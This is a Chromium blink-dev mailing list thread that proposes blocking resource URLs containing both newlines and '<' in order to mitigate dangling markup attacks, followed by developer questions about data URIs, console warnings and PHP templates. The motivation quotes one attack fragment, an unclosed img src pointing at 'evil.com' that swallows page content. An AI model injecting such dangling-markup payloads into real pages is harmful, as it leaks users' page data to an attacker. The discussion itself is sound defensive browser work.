Primary eng (and PM) emails
Link to “Intent to Deprecate” thread
https://groups.google.com/a/chromium.org/d/msg/blink-dev/AqSrOMzwrlk/wUglQnTJCgAJ
Summary
I'd like to block fetches for URLs with `http` or `https` schemes that originally contained both newline and `<` characters. That is, the following image would be blocked:
```
<img src="https://example.com/
this/is/a/path
?and=this&is=a&query=string
">
```
Motivation
As discussed in https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ, dangling markup is the next softest attack surface, assuming robust defense against direct script injection. Some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. `<img src='https://evil.com/?` eats the page until the next `'`). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.Interoperability and Compatibility Risk
There is some risk, but as discussed below, many affected sites are already broken in one way or another, and I think the systemic risk is concentrated in ad scripts that can change in one place.
Edge: ???
Firefox: ???
Safari: ???
Please include links where possible.
Alternative implementation suggestion for web developers
Developers would need to escape content before putting it into a URL. This seems like a reasonable best-practice to encourage.
Usage information from UseCounter
From Chrome's beta channel, we see the following numbers over the last week:OWP launch tracking bug
Entry on the feature dashboard
https://www.chromestatus.com/feature/5735596811091968
-mike
--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAKXHy%3DdiXK0jjNqnpCzgJwjBDM1z9yAnKeXjGq%3D85hq_L78Zaw%40mail.gmail.com.
This is a subset of the deprecation of UseCounter::kCanRequestURLHTTPContainingNewline, right? Will URLs with just newlines and no `<` continue to be deprecated, or is this the final shape of this mitigation?
In the example you gave, I see no `<` in the URL, was that a typo?
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/5a255a07-48fd-465a-ac39-915391b2cbe0%40chromium.org.
Would this block text-encoded svg data uris such as:<img src="data:image/svg+xml;utf8,<svg width='100' height='100' xmlns='http://www.w3.org/2000/svg'><rect width='100' height='100' fill='blue'/></svg>">
-mike
--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c6aeadd1-4d93-4791-9053-2175ae3972c1%40chromium.org.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/CAFUtAY9EW%3DyZ%3DhzBjbZuCw-JdsqdFOxAAd7oyrHZf3TwQa98Rw%40mail.gmail.com.
I've just saw this warning in console for my <img src="data:image/png;base64,......" /> files as I had left the default format of my encode64 function which is 60 chars per line. So should I change it? Or as there is no http nor https can It stay as is ?
I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)
--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/80d195a7-b47a-43d1-b6cd-7c8fedeb50ba%40chromium.org.
<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c0276630-a38e-4583-9a7c-7134ec85e718%40chromium.org.
As far as I can tell that should be an error, but I'm going to have to defer to +Mike West on this.On Wed, Aug 23, 2017 at 2:09 PM <canars...@gmail.com> wrote:when I type:<img src="https://www.oceansunucu.com/
imgeler/ocean_sunucu.png
">It displays image without error (in chrome beta)I think it should be error, am I wrong?
23 Ağustos 2017 Çarşamba 14:38:18 UTC+3 tarihinde Philip Jägenstedt yazdı:--Hi canarslan1212,Did you run into this in your own development and found no console warning? There should be this warning: "Resource requests whose URLs contained both removed whitespace (`\\n`, `\\r`, `\\t`) characters and less-than characters (`<`) are blocked. Please remove newlines and encode less-than are blocked. Please remove newlines and encode less-than load these resources. See https://www.chromestatus.com/feature/5735596811091968 for more details."On Sun, Aug 20, 2017 at 2:16 PM <canars...@gmail.com> wrote:I'm not sure is it true place to say this but I suggest that this should give console warning. It will be better for track and fix that bugs (forget to close tag or new line in URL)
--
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/80d195a7-b47a-43d1-b6cd-7c8fedeb50ba%40chromium.org.
You received this message because you are subscribed to the Google Groups "blink-dev" group.
To view this discussion on the web visit https://groups.google.com/a/chromium.org/d/msgid/blink-dev/c0276630-a38e-4583-9a7c-7134ec85e718%40chromium.org.
<img src="https://example.com/
this/is/a/path
?and=this&is=a&query=string
">
Will it block like in PHP:
a. <h3><?php echo _relogios ?></h3>
?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"
?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">
?